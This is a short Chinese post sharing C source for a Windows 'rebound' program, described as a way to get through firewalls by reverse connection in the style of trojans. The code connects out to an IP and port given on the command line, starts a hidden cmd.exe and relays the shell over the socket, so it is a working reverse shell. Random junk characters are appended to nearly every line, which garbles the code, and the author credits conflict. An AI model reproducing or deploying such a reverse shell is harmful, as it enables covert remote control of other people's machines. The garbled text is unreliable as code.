这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h4k.1yH;
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/* ============================== f|'8~C5I@>
Rebound port in Windows NT @0U={qX
By wind,2006/7 .u$o^; z!
===============================*/ F4
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#include FR? \H"'x
#include _jD\kg#LY
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#pragma comment(lib,"wsock32.lib") [vyi_0[
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void OutputShell(); 5 p! rZ
SOCKET sClient; \ 3HB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _!Ir|j.A
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void main(int argc,char **argv) <t"|wYAa_
{
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WSADATA stWsaData; vC>8:3Zaq
int nRet; eeu;A,@U
SOCKADDR_IN stSaiClient,stSaiServer; Q,<V)
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if(argc != 3) oeIza<:=R
{ RGV}c#
printf("Useage:\n\rRebound DestIP DestPort\n"); < r7s,][&
return; o-r00H|
} I/ V`@*/+
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WSAStartup(MAKEWORD(2,2),&stWsaData); N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YK6zN>M}E
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stSaiClient.sin_family = AF_INET; ERz{, >G?
stSaiClient.sin_port = htons(0); Gsa~zGN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?5jq)xd2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |.Vs(0O
{ L@>$
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printf("Bind Socket Failed!\n"); x4%1P w
return; r`5svY
} I*hzlE
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stSaiServer.sin_family = AF_INET; mo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Hh{pp ^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Dwg_#GSr
{ t)4AQ
printf("Connect Error!"); vj hh4$k
return; }`^DO
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} "z9 p(|oZ
OutputShell(); #[ ?E,
} d_aHUmI^"
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void OutputShell() 4"~l^yK
{ Z|6,*XEc
char szBuff[1024]; =Cg1I\
SECURITY_ATTRIBUTES stSecurityAttributes; s{dgUX
OSVERSIONINFO stOsversionInfo; K0C3s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UNJAfr P
STARTUPINFO stStartupInfo; 1Zt>andBF
char *szShell; lNba[;_
PROCESS_INFORMATION stProcessInformation; E)z=85;_p
unsigned long lBytesRead; r%412#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gUHx(Fi[4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L5 Q^cY]p
stSecurityAttributes.lpSecurityDescriptor = 0; jHQnD]Hr
stSecurityAttributes.bInheritHandle = TRUE; GiS:Nq`$(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J1g+H2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Eu|O<9U\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +sFpIiJg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =>htX(k}
stStartupInfo.wShowWindow = SW_HIDE; %:e.ES
stStartupInfo.hStdInput = hReadPipe; nN5fP<H2x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o9]i
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GetVersionEx(&stOsversionInfo); X;7hy0Y
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switch(stOsversionInfo.dwPlatformId) l?)!^}Qc
{ @RXkj-,eC#
case 1: b!oj3|9
szShell = "command.com"; 9|NH5A"H.
break; 6<mlx'
default: [ahK+J
szShell = "cmd.exe"; TE% i
break; J>8kJCh9g
} 8e32NJ^k~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2Og<e|
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send(sClient,szMsg,77,0); W^YaC
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while(1) 8F9x2CM-[C
{ ve^gzE$<I
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zvK'j"Wq=
if(lBytesRead) D`R~d;U~
{ SFR<T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;cfPS
send(sClient,szBuff,lBytesRead,0); <S3s==Cg
} &a.A8v)
else Z -fiJ75
{ (\UpJlW
lBytesRead=recv(sClient,szBuff,1024,0); Y49&EQ
if(lBytesRead<=0) break; N;gY5;0m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $i@I|y/
} Y.kgJ #2
} M;9s
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return; ]-;MY@
}